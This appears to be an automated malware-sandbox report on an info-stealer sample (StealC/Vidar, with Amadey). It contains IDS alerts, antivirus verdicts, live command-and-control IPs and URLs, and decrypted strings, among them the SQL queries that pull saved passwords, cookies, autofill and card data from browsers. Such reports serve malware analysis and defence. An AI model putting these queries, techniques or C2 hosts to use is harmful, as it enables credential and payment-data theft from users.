ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.6 - Destination IP: 185.215.113.16

Timestamp:	2024-07-27T03:19:22.902055+0200
SID:	2803304
Source Port:	49713
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.6 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T03:19:51.399835+0200
SID:	2044243
Source Port:	49737
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.19

Timestamp:	2024-07-27T03:19:41.787166+0200
SID:	2044696
Source Port:	49728
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Response M1 - Source IP: 185.215.113.19 - Destination IP: 192.168.2.6

Timestamp:	2024-07-27T03:19:36.161125+0200
SID:	2856122
Source Port:	80
Destination Port:	49722
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 85.28.47.31 - Destination IP: 192.168.2.6

Timestamp:	2024-07-27T03:19:09.474341+0200
SID:	2011803
Source Port:	80
Destination Port:	49710
Protocol:	TCP
Classtype:	Executable code was detected

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.6 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T03:19:38.090202+0200
SID:	2044243
Source Port:	49726
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://85.28.47.31/8405906461a5200c/vcruntime140.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.31/5499d72b3a3e55be.phpV82	Avira URL Cloud: Label: malware
Source: http://185.215.113.19/Vi9leo/index.php	Avira URL Cloud: Label: malware
Source: http://85.28.47.31/8405906461a5200c/softokn3.dll	Avira URL Cloud: Label: malware
Source: http://185.215.113.19/Vi9leo/index.php00	Avira URL Cloud: Label: phishing
Source: http://85.28.47.31/8405906461a5200c/freebl3.dllT	Avira URL Cloud: Label: malware
Source: http://85.28.47.31/8405906461a5200c/nss3.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.31/8405906461a5200c/freebl3.dllC	Avira URL Cloud: Label: malware
Source: http://185.215.113.19/Vi9leo/index.phpcK2	Avira URL Cloud: Label: phishing
Source: http://85.28.47.31/5499d72b3a3e55be.php~	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/stealc/random.exe395d	Avira URL Cloud: Label: phishing
Source: http://85.28.47.31/5499d72b3a3e55be.php2	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\userIJKFHIIEHI.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1312596
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 0.2.file.exe.40b0e67.1.raw.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://85.28.47.31silence"}
Source: file.exe.6880.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "85.28.47.31/5499d72b3a3e55be.php"}
Source: axplong.exe.1764.31.memstrmin	Malware Configuration Extractor: Amadey {"C2 url": ["http://185.215.113.16/Jo89Ku7d/index.php"]}

Multi AV Scanner detection for domain / URL

Source: http://85.28.47.31/8405906461a5200c/vcruntime140.dll

Virustotal: Detection: 17%

Perma Link

Multi AV Scanner detection for submitted file

Source: file.exe

Virustotal: Detection: 44%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Joe Sandbox ML: detected
Source: C:\Users\userIJKFHIIEHI.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: INSERT_KEY_HERE
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: 22
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: 08
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: 20
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: 24
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetProcAddress
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: LoadLibraryA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: lstrcatA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: OpenEventA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CreateEventA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CloseHandle
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Sleep
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetUserDefaultLangID
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: VirtualAllocExNuma
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: VirtualFree
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetSystemInfo
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: VirtualAlloc
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: HeapAlloc
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetComputerNameA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: lstrcpyA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetProcessHeap
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetCurrentProcess
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: lstrlenA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: ExitProcess
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GlobalMemoryStatusEx
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetSystemTime
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: SystemTimeToFileTime
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: advapi32.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: gdi32.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: user32.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: crypt32.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: ntdll.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetUserNameA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CreateDCA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetDeviceCaps
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: ReleaseDC
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CryptStringToBinaryA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: sscanf
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: VMwareVMware
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: HAL9TH
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: JohnDoe
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: DISPLAY
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: %hu/%hu/%hu
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: http://85.28.47.31
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: silence
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: /5499d72b3a3e55be.php
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: /8405906461a5200c/
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: sila
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetEnvironmentVariableA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetFileAttributesA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GlobalLock
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: HeapFree
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetFileSize
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GlobalSize
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: IsWow64Process
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Process32Next
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetLocalTime
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: FreeLibrary
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetTimeZoneInformation
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetSystemPowerStatus
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetVolumeInformationA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetWindowsDirectoryA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Process32First
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetLocaleInfoA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetUserDefaultLocaleName
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetModuleFileNameA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: DeleteFileA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: FindNextFileA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: LocalFree
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: FindClose
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: SetEnvironmentVariableA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: LocalAlloc
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetFileSizeEx
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: ReadFile
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: SetFilePointer
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: WriteFile
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CreateFileA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: FindFirstFileA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CopyFileA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: VirtualProtect
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetLastError
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: lstrcpynA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: MultiByteToWideChar
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GlobalFree
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: WideCharToMultiByte
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GlobalAlloc
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: OpenProcess
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: TerminateProcess
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetCurrentProcessId
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: gdiplus.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: ole32.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: bcrypt.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: wininet.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: shlwapi.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: shell32.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: psapi.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: rstrtmgr.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CreateCompatibleBitmap
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: SelectObject
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: BitBlt
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: DeleteObject
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CreateCompatibleDC
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GdipGetImageEncodersSize
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GdipGetImageEncoders
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GdiplusStartup
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GdiplusShutdown
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GdipSaveImageToStream
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GdipDisposeImage
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GdipFree
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetHGlobalFromStream
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CreateStreamOnHGlobal
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CoUninitialize
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CoInitialize
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CoCreateInstance
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: BCryptDecrypt
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: BCryptSetProperty
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: BCryptDestroyKey
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetWindowRect
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetDesktopWindow
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetDC
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CloseWindow
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: wsprintfA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: EnumDisplayDevicesA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetKeyboardLayoutList
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CharToOemW
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: wsprintfW
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: RegQueryValueExA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: RegEnumKeyExA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: RegOpenKeyExA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: RegCloseKey
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: RegEnumValueA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CryptBinaryToStringA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CryptUnprotectData
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: SHGetFolderPathA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: ShellExecuteExA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: InternetOpenUrlA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: InternetConnectA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: InternetCloseHandle
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: InternetOpenA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: HttpSendRequestA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: HttpOpenRequestA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: InternetReadFile
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: InternetCrackUrlA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: StrCmpCA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: StrStrA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: StrCmpCW
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: PathMatchSpecA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetModuleFileNameExA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: RmStartSession
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: RmRegisterResources
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: RmGetList
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: RmEndSession
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: sqlite3_open
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: sqlite3_prepare_v2
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: sqlite3_step
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: sqlite3_column_text
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: sqlite3_finalize
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: sqlite3_close
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: sqlite3_column_bytes
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: sqlite3_column_blob
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: encrypted_key
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: PATH
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: NSS_Init
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: NSS_Shutdown
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: PK11_FreeSlot
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: PK11_Authenticate
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: PK11SDR_Decrypt
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: C:\ProgramData\
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: browser:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: profile:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: url:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: login:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: password:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Opera
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: OperaGX
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Network
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: cookies
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: .txt
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: TRUE
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: FALSE
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: autofill
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: SELECT name, value FROM autofill
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: history
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: cc
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: name:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: month:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: year:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: card:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Cookies
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Login Data
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Web Data
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: History
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: logins.json
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: formSubmitURL
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: usernameField
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: encryptedUsername
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: encryptedPassword
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: guid
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: cookies.sqlite
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: formhistory.sqlite
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: places.sqlite
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: plugins
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Local Extension Settings
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Sync Extension Settings
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: IndexedDB
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Opera Stable
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Opera GX Stable
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CURRENT
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: chrome-extension_
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: _0.indexeddb.leveldb
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Local State
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: profiles.ini
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: chrome
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: opera
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: firefox
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: wallets
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: %08lX%04lX%lu
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: ProductName
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: x32
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: x64
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: ProcessorNameString
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: DisplayName
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: DisplayVersion
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Network Info:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: - IP: IP?
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: - Country: ISO?
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: System Summary:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: - HWID:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: - OS:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: - Architecture:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: - UserName:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: - Computer Name:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: - Local Time:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: - UTC:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: - Language:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: - Keyboards:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: - Laptop:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: - Running Path:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: - CPU:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: - Threads:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: - Cores:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: - RAM:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: - Display Resolution:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: - GPU:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: User Agents:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Installed Apps:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: All Users:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Current User:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Process List:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: system_info.txt
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: freebl3.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: mozglue.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: msvcp140.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: nss3.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: softokn3.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: vcruntime140.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: \Temp\
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: .exe
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: runas
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: open
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: /c start
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: %DESKTOP%
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: %APPDATA%
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: %LOCALAPPDATA%
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: %USERPROFILE%
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: %DOCUMENTS%
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: %PROGRAMFILES%
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: %PROGRAMFILES_86%
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: %RECENT%
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: *.lnk
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: files
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: \discord\
